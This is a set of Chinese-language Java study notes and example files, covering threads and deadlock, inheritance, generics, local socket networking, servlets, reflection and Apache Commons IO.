Makeup implements Runnable { int choice; String userName; static Lipstick lipstick = new Lipstick(); static Mirror mirror = new Mirror(); Makeup(int choice, String userName) { this.choice = choice; this.userName = userName; } private void makeup() throws InterruptedException { if(choice == 0) { synchronized(lipstick) { System.out.println(this.userName + "获得口红"); Thread.sleep(1000); synchronized(mirror) { System.out.println(this.userName + "获得镜子"); } } } else { synchronized(mirror) { System.out.println(this.userName + "获得镜子"); Thread.sleep(2000); synchronized(lipstick) { System.out.println(this.userName + "获得口红"); } } } } @Override public void run() { try { makeup(); } catch (InterruptedException e) { e.printStackTrace(); } } } ``` ### 死锁解决 > 某一个同步块不同时拥有'两个以上对象的锁' ```java package com.mi.threadsyn.lock; public class TestDeadLock { public static void main(String[] args) { Makeup u1 = new Makeup(0,"a"); Makeup u2 = new Makeup(1,"b"); new Thread(u1).start(); new Thread(u2).start(); } } // 口红 class Lipstick {} // 镜子 class Mirror {} // 化妆 class Makeup implements Runnable { int choice; String userName; static Lipstick lipstick = new Lipstick(); static Mirror mirror = new Mirror(); Makeup(int choice, String userName) { this.choice = choice; this.userName = userName; } private void makeup() throws InterruptedException { if(choice == 0) { synchronized(lipstick) { System.out.println(this.userName + "获得口红"); Thread.sleep(1000); } synchronized(mirror) { System.out.println(this.userName + "获得镜子"); } } else { synchronized(mirror) { System.out.println(this.userName + "获得镜子"); Thread.sleep(2000); } synchronized(lipstick) { System.out.println(this.userName + "获得口红"); } } } @Override public void run() { try { makeup(); } catch (InterruptedException e) { e.printStackTrace(); } } } ```<file_sep>/java基础1/8.类/2.三大特性/2.继承/README.md ## 继承 > 背景:很多类有相同的属性方法,类模板加载过程中都会占据内存,因此诞生了继承思想,提取公共的属性方法组成'公共类',其它类继承该类,实现了内存优化 > 父类:超类、基类 > 子类:派生类 > 继承 && 泛化 > 继承:先设计父类,再设计子类 > 泛化:先有子类,再抽象父类 ### 对象创建过程 && super关键字 ```java // 父类 public class Animal { public String name; public int age; public void shout() { System.out.println("shout") } public Animal() {}; public Animal(String name, int age) { this.name = name; this.age = age; } } // 子类 public class Cat extends Animal { public double weight; /* super关键字: -> 默认过程:子类中调用属性方法,默认先从子类中寻找,子类中找不到便从父类中查找 1.super.xx 子类中拥有和父类相同的属性方法,默认会直接调用子类的属性方法,但我们想直接调用父类的属性方法,需要使用super.xx -> [不使用super.的形式,其查找属性方法就是默认查找形式:先子类后父类] 2.super() 子类构造器中首行默认为super(); 其会调用父类构造器,可以显示调用进行传参 super(name,age) -> 本质:this表示当前对象,super表示父类,this./super.某些情况下可省略不写,开发中建议不要省略 */ public void run() { super.name; super.age; } public Cat() {}; public Cat(String name, int age; double weight) { super(name,age); this.weight = weight; } } /* 创建对象过程分析: 代码执行过程中首次遇到类的时候便会加载该类以及父类,仅加载一次,子类及父类的this都会创建,属性方法挂载到this,后续调用子类构造器的时候,子类构造器中首行代码默认为super(),也就是其也会调用父类构造器,之后子类构造器返回this对象/实体 -> 子类中调用属性方法:如果子类找不到,就从父类中找,沿着继承链寻找 1.new Cat();//首先会加载Cat类、Cat父类Animal、Animal的父类Object,创建this,属性方法挂载到this,此时均为默认值 2.new Cat();//其会执行构造器,构造器的首行默认为super(),先调用父类构造器再执行子类构造器,最终构造器返回this对象 -> 此时堆中开辟内存空间 3.对象创建完成,外界便可操作属性、方法 */ Cat cat = new Cat("喵喵",3,12); ``` ### 权限修饰符 > 背景:继承过程中父子类权限访问需要控制 > public: 整个项目均可访问 > private: 仅当前类中可访问 > protected: 当前类及子类,最大到不同包下的子类 > default: 缺省修饰符[不写时的默认值,不需要写],最大到同一个包下的不同类 > -> 属性/方法可使用以上四种进行权限修饰,类仅能使用public、default修饰 ![](assets/权限修饰符.png) ### 方法重写 > 背景:父类提供的方法无法满足子类需求,子类可对方法进行重写 > 方法重写要求:-> 方法形式:访问/权限修饰符 [特征修饰符] 返回值类型 方法名(参数列表) [抛出异常] [{方法体}] > 1. 方法名、参数[个数、类型、顺序]必须相同 > 2. 修饰符:父类权限修饰符要低于子类 > 3. 返回值:父类返回值类型大于子类 > 4. 抛出异常:父类小于等于子类 ```java public class Animal{ public void shout() { System.out.println("shout"); } } public class Cat extends Animal{ @override public void shout() { System.out.println("shout-喵喵"); } } ``` ### Object类 > 继承关系:JAVA不支持多继承,每个类仅有一个父类,所有类向上追溯的根基类就是Object类 -> 每个类可以有多个子类,但每个子类仅能拥有一个父类 ```java // 若类声明中未使用extends指明父类,则默认继承Object类 public class Animal /*extends Object*/ {} ``` ![](assets/继承关系.png) #### toString方法 > Object类提供的toString方法不太直观,开发中往往进行方法的重写[IDEA提供了快捷键:alt+insert] ```java /* Object中的toString(): getClass().getName() + '@' + Integer.toHexString(hashCode());//对象的字符串形式 -> 不好理解,往往都会重写该方法 > getClass().getName();//全限定路径:包名+类名的完整表示 > hashCode();//对象在堆中的地址 -> 哈希算法返回一个码,哈希码 > Integer.toHexString();//将hashCode()传入,返回一个十六进制对应的字符串 */ ``` #### equals方法 > Object类提供的equals方法底层使用的依旧是==,开发中往往进行方法的重写,更方便进行引用类型堆内存中的值比较[IDEA提供了快捷键:alt+insert] > 开发中的比较方法: > 1. ==: 基本数据类型直接比较值、引用数据类型比较地址 > 2. Object类中的equals方法:基本数据类型直接比较值、引用数据类型比较地址 -> 底层依旧使用==判断 > 3. 重写的equals方法:基本数据类型直接比较值、引用类型中进行堆内存的值比较 ```java // Object中的equals() class Object { public Boolean void equals(obj){ return this == obj } } /* instanceof运算符: a instanceof b: a对象是否是b类的实例,返回值true/false */ ``` ### 继承内存图示 ![](assets/继承内存图示.png)<file_sep>/java基础2/6.网络编程/README.md ## 网络编程 > C/S架构,其没有很强的客户端、服务端区分,聚焦在各主机间的网络通信 -> JAVA提供接口化调用方式,屏蔽掉底层硬件相关,实际仅关注"IP、端口、协议"即可,IP确定主机地址[网络层]、端口确定进程[传输层]、协议仅关注传输层、网络层即可[传输层的TCP/UDP,网络层的IP,传输层往上的协议无需关注] ### 计算机网络相关 #### IP地址 > 编码格式:确定主机物理位置以完成通信 > 本地:localhost[主机名]、127.0.0.1[IP] > IPV4[第四代互联网协议]:0~255 0~255 0~255 0~255;//4字节,分4端,每段1个字节,十进制表示,0~255[每字节占8位,4字节,共有2的32次方个地址] -> 点分十进制[点号分隔] => 34亿个地址,北美32亿,其它地方12亿,2012年就用完了,诞生了IPV6 > IPV6[第六代互联网协议]:xxx xxx xxx xxx xxx xxx xxx xxx;//16字节,分8段,每段2个字节,16进制表示[每字节占8位,16字节,共有2的128次方个地址] -> 冒分十六进制[冒号分隔] #### 端口 > 其表示进程,不同进程有不同端口号 -> 用于区分软件 > 分类: > -> 0~65535[区分协议,也就是TCP/UDP各自有65535个,只要保证单协议下端口不冲突即可] > 公有端口:0~1023, HTTP80、HTTPS443、FTP21、Telent23 > 程序注册端口:1024~49151, Tomcat8080、MySql3306、Oracle1521 > 动态、私有:49152~65535 ```shell netstat -ano;//查看所有端口 netstat -ano|findstr "5900";//查看指定端口 -> |符号在linux中表示过滤,在所有端口中过滤到5900端口 tasklist|findstr "5900";//查看指定端口的进程[应用程序] ``` #### 协议 > TCP: 传输控制协议,面向连接的可靠传输[三次握手、四次挥手] -> 准确性高,效率较低,例如文件传输、接受邮件、远程登录 > UDP: 用户数据报协议,面向非连接的不可靠传输 -> 效率高,准确性较低,例如微信聊天、语音视频电话等,偶尔丢包无所谓 > -> 均具备差错控制、流量控制 #### 网络编程 vs 网页编程 > 网络编程:C/S架构,其没有很强的客户端、服务端区分,聚焦在各主机间的网络通信 > 网页编程:B/S架构,浏览器为服务请求方 ### JAVA网络编程 > java.net包提供系列类和接口解决网络通信问题,屏蔽底层硬件相关,其提供了两种常见协议支持TCP、UDP,编程常用Socket、URL处理 #### Socket编程 > java.net.Socket类就是套接字,客户端创建套接字并尝试连接服务端的套接字,连接建立后通过I/O流通信 > 基于TCP ```java /* 基于TCP的通信:Socket套接字 客户端 */ package com.mi.net.tcp.chat; import java.io.IOException; import java.io.OutputStream; import java.net.InetAddress; import java.net.Socket; import java.net.UnknownHostException; public class ClientDemo { public static void main(String[] args) throws UnknownHostException { InetAddress serverIp = InetAddress.getByName("127.0.0.1"); int port = 9999; Socket socket = null; OutputStream os = null; try { socket = new Socket(serverIp,port); os = socket.getOutputStream(); os.write("Hello,你好Hou".getBytes()); } catch (IOException e) { e.printStackTrace(); } finally { // 关闭资源 -> 后开先关 if(os != null) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if(socket != null) { try { socket.close(); } catch (IOException e) { e.printStackTrace(); } } } } } /* 基于TCP的通信:Socket套接字 服务端 */ package com.mi.net.tcp.chat; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.net.ServerSocket; import java.net.Socket; public class ServerDemo { public static void main(String[] args){ ServerSocket serverSocket = null; Socket socket = null; InputStream is = null; ByteArrayOutputStream baos = null; try { serverSocket = new ServerSocket(9999); socket = serverSocket.accept(); is = socket.getInputStream(); baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len; while((len = is.read(buffer)) != -1) { baos.write(buffer,0,len); } System.out.println(baos.toString()); } catch (IOException e) { e.printStackTrace(); } finally { // 关闭资源 -> 后开先关 if(baos != null) { try { baos.close(); } catch (IOException e) { e.printStackTrace(); } } if(is != null) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if(socket != null) { try { socket.close(); } catch (IOException e) { e.printStackTrace(); } } if(serverSocket != null) { try { serverSocket.close(); } catch (IOException e) { e.printStackTrace(); } } } } } ``` > 基于UDP ```java /* 基于UDP的通信: 发送包时并不用关注'接收方能否接收到',直接发送即可 */ package com.mi.net.udp; import java.io.IOException; import java.net.*; public class ClientDemo { public static void main(String[] args) throws IOException { // 创建socket DatagramSocket socket = new DatagramSocket(); // 创建包 String msg = "测试数据"; InetAddress localhost = InetAddress.getByName("localhost"); int port = 9000; DatagramPacket packet = new DatagramPacket(msg.getBytes(),0,msg.getBytes().length,localhost,port); // 发送包 socket.send(packet); // 关闭资源 socket.close(); } } /* 基于UDP的通信: */ package com.mi.net.udp; import java.net.DatagramPacket; import java.net.DatagramSocket; public class ServerDemo { public static void main(String[] args) throws Exception { // 创建服务 -> 开放端口 DatagramSocket socket = new DatagramSocket(9000); // 接收数据包 byte[] buffer = new byte[1024]; DatagramPacket packet = new DatagramPacket(buffer,0,buffer.length); socket.receive(packet);//阻塞接收 System.out.println(packet.getAddress().getHostAddress()); System.out.println(new String(packet.getData(),0,packet.getLength())); // 关闭连接 socket.close(); } } ```<file_sep>/java基础2/8.javaweb/3.servlet/1.路径匹配/README.md ## 路径匹配 > Tomcat服务器中配置的servlet容器映射关系:路径与对应的java处理程序 -> 默认路径读取index.jsp[等同于/index.jsp,省略了index.jsp,其它也可以/success.jsp等],其它路径会根据servlet配置的映射关系进行处理 ```xml <!-- web.xml配置servlet映射关系 --> <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <!-- 配置web应用初始化参数 --> <context-param> <param-name>url</param-name> <param-value>jdbc:mysql://localhost:3306/mybatis</param-value> </context-param> <!-- servlet容器: 1.其是完全匹配:例如/hello 与/* /hello: 仅匹配/hello /* : 除了/hello的其它,常用于兜底[请求路径出错404对应的处理程序] -> 大多作为默认请求路径,其比默认配置优先级高,例如/默认匹配index.jsp,写了/*则优先匹配/*所指的servlet 2. 自定义后缀:*.xx -> *部分不要出现项目相关的映射路径 /xx/a.xx --> <servlet> <servlet-name>helloServlet</servlet-name> <servlet-class>com.tt.servlet.HelloServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>helloServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping> <servlet> <servlet-name>ErrorServlet</servlet-name> <servlet-class>com.tt.servlet.ErrorServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ErrorServlet</servlet-name> <url-pattern>/*</url-pattern> </servlet-mapping> </web-app> ```<file_sep>/java基础1/12.标准类库/4.数字处理相关类/1.Math/Demo.java public class Demo { public static void main(String[] args) { // 常量 System.out.println(Math.PI);//3.141592653589793 System.out.println(Math.E); // 方法 System.out.println(Math.floor(3.6));//3.0 -> 向下取整 System.out.println(Math.ceil(3.2));//4.0 -> 向上取整 System.out.println(Math.round(3.6));//4 -> 四舍五入 System.out.println(Math.abs(-12));//12 -> 取绝对值 System.out.println(Math.sqrt(64));//8.0 -> 开方 System.out.println(Math.pow(2,3));//8.0 -> 2的3次方 System.out.println(Math.random());//[0,1) } }<file_sep>/java基础1/6.语句/2.循环语句/1.for循环/嵌套循环/Demo10.java /** * 输出菱形 ***$*** * **$$$** * *$$$$$* * $$$$$$$ * *$$$$$* * **$$$** * ***$*** */ import java.util.Scanner; public class Demo8 { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.print("请输入行数:"); int line = input.nextInt(); // 上半部分 for(int i=1; i<=line; i++) { // 每行 // 左*符 for(int j=1; j<=(line-i); j++) { System.out.print("*"); } // $符 for(int k=1; k<=(2*i-1); k++) { System.out.print("$"); } // 右*符 for(int j=1; j<=(line-i); j++) { System.out.print("*"); } // 换行 System.out.println(); } // 下半部分 -> 从第二行开始即可 for(int i=2; i<=line; i++) { // 每行 // 左*符 for(int j=1; j<=(i-1); j++) { System.out.print("*"); } // $符 for(int k=1; k<=2*(line-i)+1; k++) { System.out.print("$"); } // 右*符 for(int j=1; j<=(i-1); j++) { System.out.print("*"); } // 换行 System.out.println(); } } } /* 分析思路: -> 结合"正三角形"、"倒三角形",进行拼接便可描绘出菱形 */<file_sep>/java基础2/5.注解反射/2.反射/7.性能分析/README.md ## 性能分析 ```java /* 性能对比分析: 反射方式调用[关闭检测] > 反射方式调用 > 普通方式调用 */ package com.mi.reflect; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class TestReflect7 { // 普通方式调用 public static void test1() { User user = new User(); long startTime = System.currentTimeMillis(); for(int i=0; i < 1000000000; i++) { user.getName(); } long endTime = System.currentTimeMillis(); System.out.println("普通方式调用:" + (endTime - startTime) + "ms"); } // 反射方式调用 public static void test2() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getDeclaredMethod("getName",null); long startTime = System.currentTimeMillis(); for(int i=0; i < 1000000000; i++) { getName.invoke(user,null); } long endTime = System.currentTimeMillis(); System.out.println("反射方式调用:" + (endTime - startTime) + "ms"); } // 反射方式调用[关闭检测] public static void test3() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getDeclaredMethod("getName",null); getName.setAccessible(true);// 关闭检测 long startTime = System.currentTimeMillis(); for(int i=0; i < 1000000000; i++) { user.getName(); } long endTime = System.currentTimeMillis(); System.out.println("反射方式调用[关闭检测]:" + (endTime - startTime) + "ms"); } public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { TestReflect7 demo = new TestReflect7(); demo.test1(); demo.test2(); demo.test3(); } } ```<file_sep>/java基础2/4.多线程/2.线程状态/5.守护线程/README.md ## 守护线程 > JAVA线程分为用户线程、守护线程:JVM虚拟机确保用户线程执行完毕即可,不用等待守护线程执行完毕,守护线程等同于在幕后运行,用户级线程结束了,其也就结束了 > 用户级线程:main线程、创建的线程[默认都是用户级线程] > 守护线程:GC垃圾回收线程、后台记录操作日志、监控内存等 -> 调用方法设置即可:setDaemon(true);//默认值为false表示用户级线程 ```java package com.mi.threadstatus; public class TestDaemonDemo { public static void main(String[] args) { Guard guard = new Guard(); User user = new User(); //设置守护线程 Thread guardThread = new Thread(guard); guardThread.setDaemon(true);//默认值为false表示用户级线程 guardThread.start(); // 用户线程 new Thread(user).start(); } } class Guard implements Runnable{ @Override public void run() { System.out.println("守护线程---"); } } class User implements Runnable{ @Override public void run() { for(int i=0; i<1000000; i++) { System.out.println("用户级线程---"); } System.out.println("用户级线程结束---"); } } ```<file_sep>/java基础2/1.泛型/4.通配符和上下限定符/Demo.java public class Demo { public static void main(String[] args) { Generic<Integer> generic = new Generic<>(); generic.setFlag(20); ShowMsg showMsg = new ShowMsg(); showMsg.showFlag(generic); Generic<Number> generic1 = new Generic<>(); generic1.setFlag(20.002); ShowMsg showMsg1 = new ShowMsg(); showMsg1.showFlag(generic1); Generic<String> generic2 = new Generic<>(); generic2.setFlag("Hello"); ShowMsg showMsg2 = new ShowMsg(); showMsg2.showFlag(generic2); } }<file_sep>/java基础2/1.泛型/README.md ## 泛型 -> 数据类型的参数化[仅限引用类型],JDK1.5新增 > 背景:开发中当参数类型不确定时,使用Object类型实现任意参数类型[多态,Object是祖先类],方法内进行类型判断以完成相应操作,若不进行类型判断,很容易出现'类型自动转换'从而出错,而且编译期无法识别到这些错误,运行期才会发现 => 泛型:1.代码可读性更好[无需类型判断]; 2.程序更加安全[其会在编译期间进行类型处理(类型擦除),类型错误会在编译期报出,运行期间不会出现异常] > 类型擦除:编译器编译过程中会将泛型转换为普通的数据类型,类型参数编译后会被替换成Object,编译后的字节码class文件并不包含泛型中的类型信息,也就是泛型仅用于编译阶段 ### 泛型定义 > 其可使用任何标识符,但开发中建议使用E、T、K、V、N、? -> 见名知意[开发者都认识] > E Element 容器中使用,表示容器中的元素 > T Type 表示普通的JAVA类 > K Key 表示键、Map中的键Key > V Value 表示值 > N Number 表示数值类型 > ? xxx 表示不确定的JAVA类型 ### 泛型使用 > 泛型分类:泛型类、泛型接口、泛型方法 -> 泛型就是将类型当作参数传入,因此有参数的地方都可使用泛型 #### 泛型类 > 类名定义:添加一个或多个类型参数声明:<T>、<T,K,V> > 创建对象时进行传入 ```java // public class 类名<泛型表示符号> {} public class Generic<T> { private T flag; public void setFlag(T flag) { this.flag = flag } public T getFlag() { return this.flag } } public class Demo { public static void main(String[] args) { Generic<String> generic = new Generic<>(); generic.setFlag("HelloWorld"); System.out.println(generic.getFlag()); Generic<Integer> generic1 = new Generic<>(); generic1.setFlag(10); System.out.println(generic1.getFlag()); } } ``` #### 泛型接口 > 接口名后添加一个或多个类型参数声明:<T>、<T,K,V> > 实现类中进行传入 ```java // public interface 接口名<泛型表示符号> {} public interface Igeneric<T> { T getName(T name); } // 实现类 public class IgenericImp implements Igeneric<String> { @override public String getName(String name) { return name; } } public class Demo { public static void main(String[] args) { IgenericImp igenericImp = new IgenericImp(); String name = igenericImp.getName(); System.out.println(name); } } ``` #### 泛型方法 > 背景:泛型类中定义的泛型,方法中也可使用,但某些场景仅需要在方法中使用泛型 > 方法参数、返回值可使用泛型,调用泛型方法时无需'显示传入类型',编译器可自动推断出类型[类型推导] ```java // 非静态方法 public <泛型表示符号> void getName(泛型表示符号 name) {}; public <泛型表示符号> 泛型表示符号 getName(泛型表示符号 name) {}; // 静态方法 -> 其无法访问类上定义的泛型,因此仅能使用泛型方法 public static <泛型表示符号> void setName(泛型表示符号 name) {}; public static <泛型表示符号> 泛型表示符号 getName(泛型表示符号 name) {}; // 其也可定义可变参数类型 public <泛型表示符号> void showMsg(泛型表示符号...args) {} public class Demo { public static <T> void setFlag(T flag) { System.out.println(flag); } public static <T> T getFlag(T flag) { return flag; } public <T> void func(T...args) { for(T t:args) { System.out.println(t); } } public static void main(String[] args) { Demo.setFlag("HelloWorld"); System.out.println(Demo.getFlag(123456)); } } ``` #### 通配符和上下限定符 -> 这些符号并不适用泛型类,场景用于类作为某个类中方法的参数[实际开发中会遇到,那时候你可体会到这些符号的美妙] > 背景:某些情况具体类型不确定,可使用?表示任何类型,常用于函数参数为对象 -> 上下限定符就是设定边界而已 ```java // 无界通配符 -> 任意类型 public void showFlag(Generic<?> generic) {} // 上限限定符 -> 当前类以及子类 || 当前接口以及子接口 public void showFlag(Generic<? extends Number> generic) {} // 下限限定符 -> 当前类以及父类 || 当前接口以及父接口 public void showFlag(Generic<? super Integer> generic) {} ```<file_sep>/java基础2/4.多线程/2.线程状态/2.线程强制执行/README.md ## 线程强制执行 > 某线程可强制执行,执行完成后再执行其它线程,其它线程阻塞 ```java package com.mi.threadstatus; public class TestJoinDemo implements Runnable{ @Override public void run() { for(int i=0; i<1000; i++) { System.out.println("线程vip"); } } public static void main(String[] args) { TestJoinDemo testJoin = new TestJoinDemo(); Thread thread = new Thread(testJoin); thread.start(); // 主线程 for(int i=0; i<100; i++) { if(i == 30) { try { thread.join(); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println("主线程"); } } } ```<file_sep>/java基础2/TestPro/net/src/com/mi/net/TestInetAddress.java /* ip */ package com.mi.net; import java.net.InetAddress; import java.net.UnknownHostException; public class TestInetAddress { public static void main(String[] args) throws UnknownHostException { // 获取本机IP地址 -> 等同于ping InetAddress inetAddress = InetAddress.getByName("127.0.0.1"); InetAddress inetAddress1 = InetAddress.getByName("localhost"); InetAddress inetAddress2 = InetAddress.getLocalHost(); System.out.println(inetAddress); System.out.println(inetAddress1); System.out.println(inetAddress2); // 获取xx IP地址 InetAddress inetAddress3 = InetAddress.getByName("www.baidu.com"); System.out.println(inetAddress3); inetAddress3.getAddress();// 字节数组 inetAddress3.getHostAddress();// ip inetAddress3.getCanonicalHostName();// 规范名字,实际也是ip inetAddress3.getHostName();// 主机名 } } <file_sep>/java基础2/3.IO流/9.ApacheIO包/README.md ## ApacheIO包 > 背景:JDK中提供的类虽然满足开发需求,但需要大量重复的编程工作,例如遍历目录文件时,需要写大量递归代码,很繁琐 -> Apache组织提供了IO包[commons工具包,主要是IOUtils/FileUtils类],提供了更加便捷、强大的文件操作,实际就是更高级的'封装接口' > Apache基金会 -> ASF[Apache Software Foundation] > 其是支持开源软件项目的非盈利性组织,在其所支持的Apache项目与子项目中都遵循Apache许可证(Apache License),实际就是为开源组织提供些资金帮助,得以让这种开源项目持续运转,助力软件领域快速发展,很多著名的开源项目都来源于该组织(不仅仅是java项目),commons、kafka、maven、shiro、struts、hadoop、hbase、spark等 > https://apache.org/ ### commons工具包 > 使用: > 1.下载jar包:https://commons.apache.org/proper/commons-io/download_io.cgi > 2.添加到项目中: ![](assets/使用jar包1.png) ![](assets/使用jar包2.png) > 3.直接使用包中的类即可 #### FileUtils类 > cleanDirectory:清空目录,但不删除目录 > contentEquals:比较两个文件的内容是否相同 > copyDirectory:将一个目录内容拷贝到另一个目录,可以通过FileFilter过滤需要拷贝的文件 > copyFile:将一个文件拷贝到一个新的地址 > copyFileToDirectory:将一个文件拷贝到某个目录下 > copyInputStreamToFile:将一个输入流中的内容拷贝到某个文件 > deleteDirectory:删除目录 > deleteQuietly:删除文件 > listFiles:列出指定目录下的所有文件 > openInputSteam:打开指定文件的输入流 > readFileToString:将文件内容作为字符串返回 > readLines:将文件内容按行返回到一个字符串数组中 > size:返回文件或目录的大小 > write:将字符串内容直接写到文件中 > writeByteArrayToFile:将字节数组内容写到文件中 > writeLines:将容器中的元素的toString 方法返回的内容依次写入文件中 > writeStringToFile:将字符串内容写到文件中 ```java package com.mi.apacheio; import org.apache.commons.io.FileUtils; import java.io.File; import java.io.FileFilter; import java.io.IOException; public class FileUtilsDemo { public static void main(String[] args) throws IOException { System.out.println(new File("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt")); String content = FileUtils.readFileToString(new File("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"),"utf-8"); System.out.println(content); // 拷贝文件 FileUtils.copyDirectory(new File("d/a"), new File("d/b"), new FileFilter() { // 文件拷贝时的过滤条件 -> 接口内部类 @Override public boolean accept(File pathname) { if(pathname.isDirectory() || pathname.getName().endsWith("html")){ return true; } return false; } }); } } ``` #### IOUtils类 > buffer:将传入的流进行包装,变成缓冲流,并可以通过参数指定缓冲大小 > closeQueitly:关闭流 > contentEquals:比较两个流中的内容是否一致 > copy:将输入流中的内容拷贝到输出流中,并可以指定字符编码 > copyLarge:将输入流中的内容拷贝到输出流中,适合大于2G内容的拷贝 > lineIterator:返回可以迭代每一行内容的迭代器 > read:将输入流中的部分内容读入到字节数组中 > readFully:将输入流中的所有内容读入到字节数组中 > readLine:读入输入流内容中的一行 > toBufferedInputStream/toBufferedReader:将输入转为带缓存的输入流 > toByteArray/toCharArray:将输入流的内容转为字节数组、字符数组 > toString:将输入流或数组中的内容转化为字符串 > write:向流里面写入内容 > writeLine:向流里面写入一行内容 ```java // IOUtils类 package com.mi.apacheio; import org.apache.commons.io.IOUtils; import java.io.FileInputStream; import java.io.IOException; public class IOUtilsDemo { public static void main(String[] args) throws IOException { String content = IOUtils.toString(new FileInputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"),"utf-8"); System.out.println(content); } } ```<file_sep>/java基础1/README.md ## JAVA语言 > 诞生背景:机器语言[指令集] -> 汇编语言 -> 1954年Fortran语言[世界上首个高级语言] -> B语言 -> 1970年C语言[重写UNIX系统] -> 1989年诞生了完备的C标准[C89] -> 90现年代出C++[其是C语言的进化版,减少了蹩脚的语言,更加面向对象开发],C/C++都是偏系统级编程语言 -> 1995年JAVA诞生[C++的基础上去掉指针概念,内存自动回收,完全面向对象开发,跨平台] -> 程序开发语言:java、python、php、javaScript等 > 移植性:C、C++并不具备移植性,也就是不同机器/操作系统提供的向上接口是不同的,C、C++就需要针对不同机器进行开发,即使程序功能是相同的,这些是可以'忍受的',因为操作系统也没有那么多,windows/mac/linux等 -> 随着移动端发展,出现了各式各样的移动端产品,需要在不同芯片上编程,这就带来了极大的开发成本,于是就需要一门新的语言 -> 1995年<NAME>在SUN公司进行了研发发布了Java语言,语言层面很多都继承自C++,但摒弃了些不好的语法,本质就是提供了编译器,编译器抹平底层兼容性差异,开发者仅专注业务开发即可,这样就做到了'一次开发,到处运行' > 特性:强类型、编译性、面向对象的程序开发语言 -> 可移植性、健壮性、分布式、多线程、高性能、安全性 > 可移植性/跨平台性:JAVA提供了编译器,开发者书写代码经过编译器编译成最终运行于机器上的字节码,编译器'抹平'底层不同机器间的差异性[仅需要下载不同针对不同机器的开发工具包JDK即可] > 健壮性/鲁棒性:强类型机制、异常处理、内存自动分配与垃圾回收 > 分布式:提供了网络应用编程接口以及大量类库,开发分布式应用很便捷[分布式强调'机器间的通信,即网络通信'] > 多线程:支持多线程并行执行,并提供线程间的同步机制 > 高性能:随着JIT(Just-In-Time)编译器技术的发展越来越接近于C++,而且编译性语言相比解释性语言性能本来就高[翻译后直接执行本来就比翻译一行执行一行的效率高] > 安全性:java常被用于开发网络应用,因此其提供了安全机制以防恶意代码攻击 > 版本/标准: > 1995:发布了JAVA > 1996:JDK1.0 > 1997:JDK1.1 > 1998:JAVAEE企业版 > 1999:JDK1.2 -> java第二代平台,细化了三个版本方向 > J2SE:Java2 Standard Edition 标准版、C/S > J2EE: Java2 Standard Edition 企业版、B/S > J2ME: Java2 Micro Edition 微型版、移动端 > 2000-2002: JDK1.3、JDK1.4 -> 性能大幅提升 > 2004: JDK1.5 -> 推出了新特性 > 2005:JDK1.6 -> 最经典的java版本、留存也最久,JAVA的各版本也进行了更名,取消了数字2,更名为JAVASE/JAVAEE/JAVAME -> 由于后续安卓的发展,JAVAME很少再使用了,主要是JAVASE、JAVAEE > 2009:Oracle74亿美元并购Sun公司,java所属权归于Oracle > 2011: JAVA7 > 2014: JAVA SE 8 -> 目前推荐使用版本 > 2017: JAVA SE 9 > 201803: JAVA SE 10 > 201809: JAVA SE 11 > 2019: JAVA SE 12 > -> JDK: JAVA Development Kit,JAVA开发工具集,其的版本迭代等同于JAVA版本迭代,两者等价 > openjdk与oraclejdk的关系:openjdk最初是SUN公司开源的,oracle收购sun公司后,openjdk就是jdk的开源版本,oraclejdk是未开源版本,不过两者性能差距很小 ### 集成开发环境 -> 编辑器、编译器、调试器 > Eclipse: 开源 https://www.eclipse.org/ > MyEclipse: 付费 https://www.genuitec.com/products/myeclipse/ > Intellij IDEA:旗舰版/企业版[付费] or 社区版[免费] https://www.jetbrains.com/idea/ > => 建议使用IDEA社区版,分布式、服务器,更加灵活 ### 学习建议 > JAVA语言层面 + 数据库/服务器 + 第三方库/框架 > JAVA语言层面:数据类型、变量、运算符、表达式、语句[顺序、选择、循环]、标准库/类库[工具类]、泛型、容器、IO流、多线程、注解反射、网络编程、JDBC、JavaWeb > 数据库/服务器:Mysql/JDBC、网络服务器等 > 第三方库/框架:SpringBoot、大数据平台结合Hadoop > javac -encoding UTF-8 HelloWorlewww.java<file_sep>/java基础2/2.容器/1.单例集合/2.Set接口/README.md ## Set接口 > 无序[仅能遍历查找]、不可重复[满足e1.equals(e2)元素无法加入容器] > 其没有提供新抽象方法,与Collection接口保持完全一致 ### Set接口实现类 > HashSet类:基于哈希表实现[实际就是数组+链表,采用哈希算法/散列算法,底层就是基于HashMap实现],查询增删效率都较高,而且允许有null元素,线程不安全,无排序能力 => 存储过程:首先调用元素的hashCode()方法获取hashCode值,拿到该值后根据某些规则确定位置,若多个元素得到的hash值是相同的,那么就在同位置下使用链表连接,这就是哈希算法,查找过程也是通过哈希算法进行查找[比遍历查找效率高] > TreeSet类:基于哈希表实现[实际就是数组+链表,采用哈希算法/散列算法,底层就是基于HashMap实现],但可对容器内元素进行排序 -> 基于排序规则进行排序 > LinkedHashSet类:较少使用<file_sep>/java基础1/8.类/1.初识类/README.md ## 初识类 ### 类 && 对象 > 类提供模板、对象根据类模板创建实体 > 类是抽象出的概念,对象是具体的实体 -> 抽象向具体的过渡 ### 类组成部分 > 属性、方法、构造器、代码块、内部类 ```java // 访问/权限修饰符 class关键字 类名 public class Person { // 属性 -> 描述静态 // 访问/权限修饰符 [特征修饰符] 数据类型 属性名 = 